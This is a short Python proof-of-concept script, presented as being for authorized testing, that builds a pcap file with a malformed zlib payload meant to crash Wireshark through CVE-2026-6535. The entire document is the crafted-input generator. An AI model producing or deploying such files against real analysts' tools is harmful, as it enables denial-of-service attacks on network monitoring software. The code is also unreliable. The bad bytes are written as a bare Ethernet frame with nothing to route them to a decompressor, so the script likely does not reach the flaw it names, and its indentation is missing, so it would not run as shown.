The following code is for security research and authorized testing only.
python
import zlib
import struct
# Generate a dummy pcap file with a malformed zlib payload
# to simulate the decompression crash vulnerability.
def create_malformed_pcap(filename):
# PCAP Global Header (standard magic number)
pcap_header = b"\xd4\xc3\xb2\xa1\x02\x00\x04\x00\x00\x00\x00\x00\x00\x00\x00\x00\xff\xff\x00\x00\x01\x00\x00\x00"
# Construct a packet with a potentially malicious zlib stream
# This represents the trigger data for the dissection engine
bad_zlib_data = b'\x78\x9c' + b'\xff' * 100 # Invalid compressed data
# Packet Header (ts_sec, ts_usec, incl_len, orig_len)
packet_header = struct.pack('<IIII', int(1.0), int(0.0), len(bad_zlib_data), len(bad_zlib_data))
with open(filename, 'wb') as f:
f.write(pcap_header)
f.write(packet_header)
f.write(bad_zlib_data)
print(f"[+] Generated PoC file: {filename}")
print("[+] Attempt to open this file in a vulnerable Wireshark version.")
if __name__ == "__main__":
create_malformed_pcap("cve_2026_6535_poc.pcap")